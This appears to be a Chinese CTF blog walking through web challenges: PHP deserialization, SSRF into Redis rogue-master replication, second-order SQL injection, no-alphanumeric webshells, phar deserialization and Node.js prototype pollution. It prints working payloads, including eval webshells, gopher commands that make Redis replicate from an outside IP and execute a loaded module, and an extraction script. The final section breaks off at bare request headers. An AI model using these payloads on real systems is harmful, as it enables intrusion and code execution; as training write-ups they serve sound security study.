Orac1e の blog

Back

Web经典题目复现Blur image

[天翼杯 2021]esay_eval#

考点PHP反序列化Redis主从复制

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}
php

分析之后,我们有这样的思路:创建一个B类$b,然后b中有一个名为a的方法,而a是A类。当反序列化时,会执行B类的__destruct函数,执行echo $this->a->a();,因为A类不存在a方法,所以会执行__call()函数,从而执行eval()函数

现在题中还有两个阻碍,一个类A中的__wakeup方法会将code的值置空,程序调用反序列化方法时,会自动执行__weakup()函数,利用php特性-当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup();,第二个阻碍对传入参数作正则匹配,,匹配A类和B类名字后面的数目,要求必须为1,而我们要绕过wakeup需要大于1,这里利用php对类名大小写不敏感的特性去绕过

exp:

<?php
class a{
    public $code = "phpinfo();";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class b{
    function __destruct(){
        echo $this->a->a();
    }
}

$b = new b();
$b->a = new a();
echo serialize($b);

# O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
php

将b后成员列表个数修改后可得payload?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

160391bdfe7f5018aa7ae7ccf585cd6a

执行成功,发现disable_functions有过滤,无法直接RCE,利用fputs写入一句话木马

<?php
class a{
    public $code = "fputs(fopen('dotast.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ
10pOw==\"));";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class b{
    function __destruct(){
        echo $this->a->a();
    }
}

$b = new b();
$b->a = new a();
echo serialize($b);

# <?php @eval($_POST['pass']);
# O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:90:"fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));";}}
php

<?php

class A{
    public $code = "eval(\$_POST[1]);";
    
}

class B{
    public $a;
    function __construct()
    {
        $this -> a=new A();
    }
}
$c = new B();
$poc = serialize($c);
$payload = str_replace('A":1','a":2',$poc);
echo '?poc='.$payload;
# ?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
php

蚁剑连接,发现.swp文件为vim泄露,将其下载后改为.config.php.swp后恢复即可

343107e0c583fc38a9459f7e69eca23e

无文件读取权限但又上传权限,在/var/www/html目录上传exp.so文件利用Redis主从复制漏洞RCE

MODULE LOAD /var/www/html/exp.so

system.exec "cat /f*"

其他姿势:发现disable_functions后可用蚁剑插件打穿

ee689f755b6726608ce3f59904918058

[网鼎杯 2020 玄武组]SSRFMe#

参考WP

考点SSRFRedis主从复制

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
php

存在一个curl的ssrf,但是存在check_inner_ip的限制

check_inner_ip做了几件事:限制协议只能为http,https,gopher,dict、使用parse_url获取host、使用 gethostbyname获取ip地址(防御了xip.io这类利用dns解析的绕过方法)、使用ip2long将ip地址转为整数,判断是否为内网网段(防御了127.0.0.1/8)

另外在发送请求后还对重定向的情况做了处理,获取请求信息,检查是否有重定向 URL。如果有,递归调用 safe_request_url 以处理重定向。

if ($result_info['redirect_url'])
{
    safe_request_url($result_info['redirect_url']);
}
php

这样基于跳转的方法也无法使用了

一些SSRF绕过技巧

这里给出两种姿势http://0.0.0.0/hint.phphttp://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

hint.php

if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
    highlight_file(__FILE__);
}
if(isset($_POST['file'])){
    file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
} "
php

绕过写shell没有权限,不过给了Redis的密码root,可以打主从复制RCE

准备过程:将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

开启主服务python3 redis_rogue_server.py -v -path exp.so -lport 9000

然后就是gopher协议联动redies

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
shell
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.106.249.221%25209000%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 39.106.249.221 9000
quit
shell
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
shell
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit
shell

若靶机可出网也可采用反弹Shell方式

[网鼎杯 2018]unfinish#

考点SQL二次注入

打开题目发现/login.php没有注入点,猜错或扫描可得到register.php,注册测试账号后自动跳转回登陆界面,登陆成功后<span class="user-name">test1</span> 用户名直接回显,猜测注册用户名处存在二次注入

用BP FUZZ一下发现过滤了,information_schema.tables%0a

绕过方法:mysql中,+只能当做运算符,字母部分会被截断,与数字部分相加

b8d8dfb709d277bd24afbf60e913de63

由此可以逐位获得库名的ascii值,但因为过滤了,,我们用from for代替,类似 substr(str from 1 for 10)(表示截取str字符串的从第1个开始的10个字符),得到数据库名为web,由于过滤了information_schema.tables,得不到表名,根据网上的WP,只能猜表名为flag,写脚本即可

import requests
import logging
import re
from time import sleep

def search():
    flag = ''
    url = 'http://node4.anna.nssctf.cn:28710/' # 修改为靶机URL
    url1 = url+'register.php'
    url2 = url+'login.php'
    for i in range(100):
        sleep(0.3)
        data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
        data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
        r1 = requests.post(url1, data=data1)
        r2 = requests.post(url2, data=data2)
        res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
        res1 = re.search(r'\d+', res.group())
        flag = flag+chr(int(res1.group()))
        print(flag)
    print("final:"+flag)

if __name__ == '__main__':
    search()
# NSSCTF{515d99e2-bd44-4048-8797-26c9c5e57e45}
python

[TQLCTF 2022]simple_bypass#

考点代码审计无数字字母RCE

RCE部分参考P牛的文章一些不包含数字和字母的webshell

题目打开正常注册,登录寻找利用点,查看源代码搜索php发现

1f67021bf1a49aea94ae792f1fcbcea4

利用../get_pic.php?image=img/haokangde.png获取图片内容,猜测有任意文件读取漏洞,尝试路径穿越读flag失败,我们尝试读取一下登录界面源码

/get_pic.php?image=index.php拿到index.php源码

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>
php

通过审计不难发现,该功能只是将输入的信息替换并插入模板文件./template.html中,因此我们再读取该文件

		<?php
			error_reporting(0);
			$user = ((string)__USER__);
			$pass = ((string)__PASS__);
			
			if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
				echo($_COOKIE['user']);
			}
			else{
				die("<script>alert('Permission denied!');</script>");
			}
		?>
		</li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
  <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text">图片
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
    <div class="text">游戏
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text"><b>好康的</b>
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
    <div class="text"><b>你的网站</b>
html

这里$_POST['punctuation']的长度限制为1000,其他的都很短,说明可能要利用这个点,原本想的是在__PUNC__的地方替换为<script language=php>来执行php语句,但是php7后就不再支持这样弄了,这里只有上面有<?php,所以我们要利用上面的那个<?php标志来执行语句

回到index.php看一下过滤

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
php

其含义为user必须以指定符号开头,website相似,punctuation不能包含数字字母以及>?

由于index.php文件是对__USER__等字符串进行的替换,所以我们可以使用多行注释,将下面的内容都注释掉 然后在__PUNC__的地方进行闭合,这样就能继续利用上面的php标志来执行php语句了

# 示例
$a=((string)/*);
    asdasd
asdasda
asdasdasd
asdasd8*/[]);echo '123';
php

由于过滤了数字字母以及>?,所以要使用无字母shell,利用自增和异或均可

$_=''.[];//获得字符串Array
$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//ASSERT[$_POST[_]]
php

异或

$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___='$'.$__;echo $___;$_($___['1']);
# system($_GET['1']);
php

源代码中$user = ((string)__USER__);(string)后面必须要有内容,否则会报错

用如下payload:$_POST['punctuation']=*/[]);$_=''.[];$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

报错是因为后面的html标签解析错误,用注释符/*注释掉即可,所以会爆warn(因为注释符没闭合),但是warn不会影响代码执行

USERNAME:
/*
PASSWORD:
(any)
YOURWEBSIT:
(any)
YOURPUNCTUATION:
*/[]);$_=''.[];$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*
shell

POST: _=file_put_contents('shell.php','<?php eval($_POST[1]);?>');

蚁剑连接读取flag即可

[CISCN 2019华北Day1]Web1#

考点phar反序列化

原理、影响函数及利用条件参考这篇

进入题目正常注册登录,随便上传一个文件,发现还有删除和下载两个功能点,利用下载读取源码

这里用绝对路径,也可以用相对路径../../index.php,之所以用两个../在知道源码的情况下是因为在执行download.php时会进入uploads/sandbox/文件夹

按照已发现的功能获取以下文件源码delete.php index.php register.php login.php upload.php class.php

class.php#

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        //删除 ..和. 防止目录遍历
        $key = array_search(".", $filenames); 
        unset($filenames[$key]);
        $key = array_search("..", $filenames); 
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>
php

delete.php#

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
php

download.php#

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");//只有网站目录和/etc /tmp可以操作

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
php

upload.php#

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>
php

register.php#

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>
    ......(html css)
<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
        if ($u->add_user($username, $password)) {
            echo("<script>window.location.href='login.php?register';</script>");
            die();
        } else {
            echo "<script>toast('此用户名已被使用', 'warning');</script>";
            die();
        }
    }
    echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
php

index.php#

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
    ...(html css)
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
php

login.php#

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

    ...(html css)
<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
php

给了class.php基本上确定是一道反序列化问题,找入口点

User类中

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }
}
php

这里的global是引进全局变量,而这个$dbclass.php里的变量

$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
php

所以在User类的

public function __destruct() {
    $this->db->close();
}
php

close()调用的是mysqli::close,但是在File类中也有个close()

public function close() {
    return file_get_contents($this->filename);
}
php

看到这里意识到链子最终应该是close()进行文件内容的读取,而调用close()的地方只有一个,那就是User的__destruct()方法,控制$db为file对象即可,但此时我们读取文件内容但无法回显,再看FileList类有可疑的__call魔术方法

public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
        $this->results[$file->name()][$func] = $file->$func();
    }
}
php

如果调用close()的话,就是先将方法名存储$this->funcs数组里 然后依次调用$this->files数组里的元素的close()方法,然后存储在$this->results[$file->name()][$func] 如果是File类的close(),就是获取文件的内容,所以$this->files数组里的元素必须为File类的对象

然后看FileList类的析构函数

public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
        $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
        $table .= '<tr>';
        foreach ($result as $func => $value) { //遍历数组 $func为键  $value为对应的值
            $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
        }
        $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
        $table .= '</tr>';
    }
    echo $table;
}
php

正好析构函数的作用为输出$this->funcs里的元素的值,然后输出$this->results数组里的数组元素的键值对,而在__call()函数里我们存储的文件的内容就在$result as $func => $value$value

所以只要构造$this->files的值,就可以在最后面输出其文件的内容,这样就可以获得flag

故最终的调用链为User::__destruct() -> FileList::__Call() -> File::close() -> FileList::__destruct()

寻找触发点:可以出发phar反序列化的函数详细可见上方博客,在open()file_exists可以触发

if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
php

downloaddelete均可触发,但download中有限制

//只有网站目录和/etc /tmp可以操作
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
php

故利用delete.php触发反序列化即可

exp:

<?php
class FileList
{
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array();
        $a=new File('/flag.txt');
        array_push($this->files,$a);
    }
}
class File {
    public $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }

}
class User
{
    public $db;
}
$a=new User();
$b=new FileList();
$a->db=$b;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");
php

[HZNUCTF 2023 final]eznode#

考点NodeJs原型链污染VM沙箱逃逸

界面提示查看源码,猜测是node.js配置错误造成的源码泄露,也可以扫目录访问app.js获得源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});
js

发现一个merge函数,原型链污染的常客,大概就是在页面post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。

backdoor函数利用vm2执行shellcode,这个shellcode其他地方没有得传值,所以我们利用原型链污染传递shellcode,污染成VM2沙箱逃逸的payload即可执行任意命令。

exp:

POST / HTTP/1.1
Host: node5.anna.nssctf.cn:28667
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1715092418,1715151077,1715346525,1715353848; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1715354979
If-None-Match: W/"45-KUkQHynRoADpxoiD+yQ19DdXfCU"
Connection: close
Content-Type: application/json
